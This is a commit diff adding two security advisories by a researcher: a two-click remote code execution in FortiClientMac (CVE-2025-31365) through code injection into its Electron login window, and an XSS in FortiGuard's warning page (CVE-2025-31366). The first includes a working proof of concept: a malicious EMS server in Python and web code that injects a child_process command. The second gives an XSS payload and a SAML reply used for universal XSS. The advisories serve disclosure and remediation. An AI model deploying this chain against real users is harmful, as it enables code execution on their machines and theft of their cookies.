Skip to content

Commit df1ba9b

Browse files
committed
add advisories and blogs
1 parent ab9f5c4 commit df1ba9b

15 files changed

+410
-2
lines changed
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
---
2+
title: "FortiClient: Two-click RCE via Code Injection in the Login Window"
3+
date: 2025-10-14
4+
tags:
5+
- "rce"
6+
- "forticlient"
7+
- "fortinet"
8+
- "code injection"
9+
advisory: true
10+
cves:
11+
- "CVE-2025-31365"
12+
---
13+
# Background
14+
### Communication
15+
The FortiClient application is meant to be connected and managed by an "Endpoint Management Server" (EMS). Aside from the Electron UI, there are multiple components to the Forticlient application, with each one having its own responsibility. One of them is the `Fortinet/FortiClient/bin/epctrl` file which is responsible for the network communication part. Communication between the server and the client is handled via a custom protocol. To simplify matters, the flow goes like this:
16+
1. First, a Probe request (`X-FCCK-PROBE`) is sent, and then the server replies with basic EMS information which verifies that the server is an actual EMS.
17+
2. The second request is a registration one containing information on the client (`X-FCCK-REGISTER`).
18+
3. If the registration is successful, the connection is maintained via keep-alive messages every `X` amount of time, which is defined by the server (`X-FCCK-KA`).
19+
20+
In this line-based protocol, each header is represented via a new line. The body contains the type of the message followed by the fields/values which are separated by the `|` char, for example, a "probe" reply will look as such:\
21+
`FCPROBERPLY: Key1|Value1|Key2|Value2|\r\n`
22+
23+
### Authentication
24+
The FortiClient Electron app handles URLs of the scheme `fabricagent://`. By using the `​​fabricagent://ems?inviteCode=...` URL, FortiClient will connect to an on-premise or Fortinet-hosted server depending on if the `inviteCode` parameter starts with a `_` character. The code is a base64-encoding of the following format - `<version>:<fqdn>:<port?>:<vdom>:<invitation_code>` (`fqdn` == the IP of the EMS).
25+
26+
Using it, clients can connect to EMS conveniently by clicking on a link (**Forticlient will try to connect to the new EMS even if the client is already connected and/or requires a password to disconnect**). During connection, if needed, an authentication process is initialized with one of the following three types: `SAML`, `LDAP`, or `Local`.  
27+
28+
- In a `SAML` authentication flow, the server provides a URI which will be opened on the client machine in the browser. The link goes through the web SAML authentication, and finally opens an `onboarding` URL containing the SAML token:\
29+
`fabricagent://ems/onboarding?username=...&auth_token=...`
30+
31+
- In a `Local` or `LDAP` flow, Forticlient will create a basic login window as such:
32+
<img src="/img/blogs/fortinet/advisories/simple_login_window.png" style="width: 75%; display: block; margin: auto;"/>
33+
34+
# Technical Details
35+
When the client receives an “authenticate” reply from the EMS, it will go to the `​​promptUserAuth` function (in the `compliance.js` file). This will first check if a SAML URL is provided. If so, it will proceed with the flow described above. If not, it will create the basic login window with the `auth_ldap` and `auth_user` parameters.
36+
```js
37+
promptUserAuth() {
38+
if (!this.getUserAuthProgressing()) {
39+
this.viewConnecting();
40+
this.setUserAuthProgressing(true);
41+
if (this.data.auth_type === COMPLIANCE_AUTH_TYPE.SAML && this.data.hasOwnProperty('auth_saml') && this.data.auth_saml.length > 0) {
42+
ipcRenderer.send(IPC_RENDERER_REQUEST.SAML_LOGIN, {
43+
url: this.data.auth_saml,
44+
type: SAML_TYPES_ENUM.EMS,
45+
});
46+
} else {
47+
const basicAuthReq = {
48+
type: BASIC_AUTH_TYPES_ENUM.EMS,
49+
};
50+
if (this.data.hasOwnProperty('auth_ldap') && this.data.auth_ldap.length > 0) {
51+
basicAuthReq.ldap = this.data.auth_ldap;
52+
}
53+
if (this.data.hasOwnProperty('auth_user') && this.data.auth_user.length > 0) {
54+
basicAuthReq.auth_user = this.data.auth_user;
55+
}
56+
ipcRenderer.send(IPC_RENDERER_REQUEST.BASIC_LOGIN, basicAuthReq);
57+
}
58+
}
59+
}
60+
```
61+
The `auth_ldap` and `auth_user` parameters are taken from the shared memory file stored at `/private/var/run/fctc.s` which is set when parsing the register reply (`FCREGRPLY`) by the `epctrl` binary.
62+
At `epctrl::message::Register::ProcessAuth` in case the `AUTHTYPE` field exists in the response, the parameters will be reset including `auth_user` (the truncated part of the image, lines 34-96), and it will load `AUTHLDAP` and `AUTHSAML` key/value from the response to `auth_ldap` and `auth_saml` correspondingly.
63+
<img src="/img/blogs/fortinet/advisories/processAuth_1.png" style="width: 100%;"/>
64+
<img src="/img/blogs/fortinet/advisories/processAuth_2.png" style="width: 100%;"/>
65+
66+
Eventually, on the Electron side, the window is created in the `BasicAuthWindow` class with `nodeIntegration` set to `true`.
67+
We noticed that the `auth_user` is formatted into a Javascript snippet (that is meant to prefill the user name) without any sanitization, which leads to Code Execution in case of a malicious `auth_user` value.
68+
69+
```js
70+
createWindow(title, auth_user) {
71+
const win = new BrowserWindow(this.options);
72+
this.setWindow(win);
73+
win.loadFile(BASIC_AUTH_HTML_PATH);
74+
// win.webContents.openDevTools();
75+
if (title) {
76+
win.webContents.on('did-finish-load', () => {
77+
win.setTitle(title);
78+
});
79+
}
80+
if (auth_user) {
81+
const code = `
82+
const userNameEle = document.getElementById('username');
83+
const passwordEle = document.getElementById('password');
84+
userNameEle.setAttribute('placeholder', '${auth_user}');
85+
userNameEle.disabled = true;
86+
passwordEle.focus();
87+
`;
88+
win.webContents.executeJavaScript(code);
89+
}
90+
return win;
91+
}
92+
```
93+
# Exploitation
94+
In order for an attacker to be able to set an arbitrary `auth_user` parameter and show the basic login window, we came up with the following attack flow:
95+
1. A victim visits a malicious website which first opens a link to initialize a normal registration to a malicious EMS.
96+
2. The EMS responds with `AUTHLDAP`, which will prompt the user to sign in and remove any previous `AUTHSAML` value (This is an important step because it will "save" the login method as LDAP since in step 5 we don't include any "`AUTHTYPE`" key)
97+
3. After the EMS responds with an authentication request, a second "onboarding" link is opened automatically via the website. This link sets a malicious username and authenticates again in the background.
98+
4. The EMS responds with registration successfully to the onboarding request.
99+
5. The user either enters credentials or cancels the sign-in window.
100+
6. In the next keep-alive message, the server will send an error message 14 (meant to authenticate the user again) but this time without `AUTHTYPE`. This will not overwrite any parameter (`auth_ldap`, `auth_saml`, `auth_user`), and will show the previous sign-in window, but this time with the injected Javascript code.
101+
102+
<img src="/img/blogs/fortinet/advisories/two-click_rce_attack_flow.png" style="width: 100%;"/>
103+
104+
We are not familiar with other ways to set arbitrary usernames and simultaneously trigger the vulnerable basic login window.
105+
Malicious EMS code (simple cert and key are needed for SSL):
106+
107+
```python
108+
import base64
109+
import socket
110+
import threading
111+
import ssl
112+
from os import path
113+
import re
114+
115+
HOST = "127.0.0.1"
116+
SERVER_PORT = 9999
117+
cwd = "/home/ubuntu/Downloads"
118+
119+
class Server(threading.Thread):
120+
def __init__(self):
121+
super(Server, self).__init__()
122+
123+
def run(self):
124+
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
125+
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
126+
server = ssl.wrap_socket(server, server_side=True, keyfile=path.join(cwd, "key.pem"), certfile=path.join(cwd, "cert.pem"))
127+
server.bind((HOST, SERVER_PORT))
128+
server.listen(10)
129+
130+
while True:
131+
back_data = b''
132+
connection, client_address = server.accept()
133+
data = connection.recv(4096)
134+
if b"X-FCCK-PROBE" in data:
135+
back_data = b"FCPROBERPLY: FGT|FCTEMS8823006072:202305081241mp6|FEATURE_BITMAP|7|EMSVER|7002004|PROTO_VERSION|1.0.0|PERCON|0|\r\n"
136+
elif b"X-FCCK-REGISTER" in data:
137+
b = re.findall(b"SYSINFO\|(.*)\|\r", data)[0]
138+
d = base64.b64decode(b.decode("utf-8"))
139+
if b"child_process" in d:
140+
back_data = b'FCREGRPLY: REG|0-FCTEMS0000126978:45:i-0fe611041e297e2e9:default:20:43230:1:8:227|AV_SIG|92.08424|LIC_FEATS|8671612|LIC_ED|1878508800|SOFT_CRC|2|EMS_ONNET|0|AUTH_PRD|0|TOKEN|00E5CBA5-7FDD-44E5-875A-AD535F1BCAAA|SERIAL|7E57D5B158B578D5BE60B7AF3FF8023D10D77268|TENANT|00000000000000000000000000000000|PROTO_VERSION|1.0.0|PERCON|0|\r\n'
141+
else:
142+
back_data = b'FCREGRPLY: REG|14|AUTHTYPE|2|AUTHLDAP|title|ERR_MSG|Authentication error|\r\n'
143+
elif b"X-FCCK-KA" in data:
144+
back_data = b'FCKARPLY: CONT|1|ERROR|14|ERR_MSG|Authentication error|\r\n'
145+
elif b'DATA_HEADER' in data:
146+
back_data = b'UPLOADRPLY: STOP\r\n'
147+
connection.send(back_data)
148+
connection.close()
149+
150+
server = Server()
151+
server.start()
152+
```
153+
Malicious website code, note that the second “onboarding” link is executed here with a simple timer. In a more refined scenario an attacker can time it by waiting in the EMS for a connection, and only then open on the web the second link:
154+
155+
```python
156+
let maliciousEMSIp = `127.0.0.1:9999`;
157+
let inviteCode = `1:${maliciousEMSIp}:default:aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa`;
158+
let maliciousUserName = `test');require('child_process').execSync('open -a Calculator.app')//`;
159+
window.location.href = `fabricagent://ems?inviteCode=_${btoa(code)}`;
160+
setTimeout(()=>{window.location.href = `fabricagent://ems/onboarding?username=${maliciousUserName}`;}, 7000)
161+
```
162+
163+
<video controls="" src="/videos/fortinet/two-click-RCE-fortinet.mov" style="width: 100%;"></video>
164+
165+
## Affected Product
166+
FortiClientMac 7.2.1 through 7.2.8 and FortiClientMac 7.4.0 through 7.4.3
167+
168+
## Impact
169+
A victim who is manipulated to click on a link might execute arbitrary code on their machine. By default, modern browsers also prompt users before opening an external application via a custom scheme, so it does require an additional click on the invite link as well as the onboarding one. Combined with ["Caught in the FortiNet"](https://www.sonarsource.com/blog/caught-in-the-fortinet-how-attackers-can-exploit-forticlient-to-compromise-organizations-3-3/) local privilage escelation vulnerability, an attacker can elevate their privileges to root on macOS.
170+
171+
## Remediation
172+
Update FortiClientMac to version 7.2.9, 7.4.4 or above.
173+
174+
## Credit
175+
This issue was discovered and reported by [Yaniv Nizry](https://www.twitter.com/ynizry).
176+
177+
## Additional Resources
178+
- ["Caught in the FortiNet" blogs](https://www.sonarsource.com/blog/caught-in-the-fortinet-how-attackers-can-exploit-forticlient-to-compromise-organizations-1-3/)
179+
- [Fortinet's Advisory](https://www.fortiguard.com/psirt/FG-IR-25-037)
180+
- [CVE-2025-31365](https://nvd.nist.gov/vuln/detail/CVE-2025-31365)
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
---
2+
title: "FortiGuard: “Access Blocked” Web Page XSS"
3+
date: 2025-10-14
4+
tags:
5+
- "fortinet"
6+
- "fortiguard"
7+
- "fortios"
8+
- "fortisase"
9+
- "fortiproxy"
10+
- "xss"
11+
- "uxss"
12+
advisory: true
13+
cves:
14+
- "CVE-2025-31366"
15+
---
16+
### Background
17+
18+
FortiGuard can be configured with specific web locations/patterns that should be filtered. When a client visits such a URL, it can block it, show a warning, monitor it, or authenticate the user. We noticed that the default warning page when visiting such a link doesn't properly handle the URL, which can result in XSS on "warned" domains.
19+
20+
### Exploitation
21+
22+
On the generated page, the URL is embedded inside the onclick event handler of the "Proceed" button using the following code:
23+
```js
24+
document.location.href='https://warned_domain:8010/warn?fblob=*blob*&uri=*uri*'; return false;
25+
```
26+
The URI parameter isn't sanitized and can contain a single-quote character, which will escape the string and inject arbitrary JavaScript code that gets executed when a victim clicks on "proceed". Since the warning page is running on the same domain as the "blocked" domain, the XSS will be in the context of that domain. 
27+
28+
<img src="/img/blogs/fortinet/advisories/fortiguard_button_html.png" style="width: 100%;"/>
29+
30+
Payload example: `https://warned_domain/static';alert(document.domain);a='`
31+
32+
<video controls="" src="/videos/fortinet/fortiguard_XSS.mov" style="width: 100%;"></video>
33+
34+
### Impact
35+
In conjunction with ["Caught in the FortiNet"](https://www.sonarsource.com/blog/caught-in-the-fortinet-how-attackers-can-exploit-forticlient-to-compromise-organizations-1-3/) research, a FortiClient can connect to a malicious server by a simple click, potentially changing to an attacker-controlled FortiGuard with arbitrary configuration.
36+
By defining arbitrary domains as "warn domains" (for example, `google.com`), and then using the mishandeling of the SAML URL (the EMS can send a SAML registration reply starting with `@` character instead of `/`:
37+
`FCREGRPLY: REG|14|AUTHTYPE|3|AUTHSAML|@google.com|ERR_MSG|Authentication error|`) it will cause FortiClient to open automatically arbitrary "warn domains" in the victim's browser. If the victim then clicks on `proceed` an XSS on arbitrary domains will trigger (UXSS).
38+
An attacker can then steal cookies and sensitive data, impersonate victims, and more, depending on the website's logic.
39+
40+
## Affected Product
41+
- FortiOS before version 7.4.8, FortiOS 7.6.0 through 7.6.3
42+
- FortiProxy before version 7.6.3
43+
- FortiSASE version 25.3.a
44+
45+
## Remediation
46+
- FortiOS: Update to 7.6.4, 7.4.9 or above
47+
- FortiProxy: Update to 7.6.4 or above
48+
49+
## Additional Resources
50+
- ["Caught in the FortiNet" blogs](https://www.sonarsource.com/blog/caught-in-the-fortinet-how-attackers-can-exploit-forticlient-to-compromise-organizations-1-3/)
51+
- [Fortinet's Advisory](https://www.fortiguard.com/psirt/FG-IR-24-542)
52+
- [CVE-2025-31366](https://nvd.nist.gov/vuln/detail/CVE-2025-31366)

0 commit comments

Comments
 (0)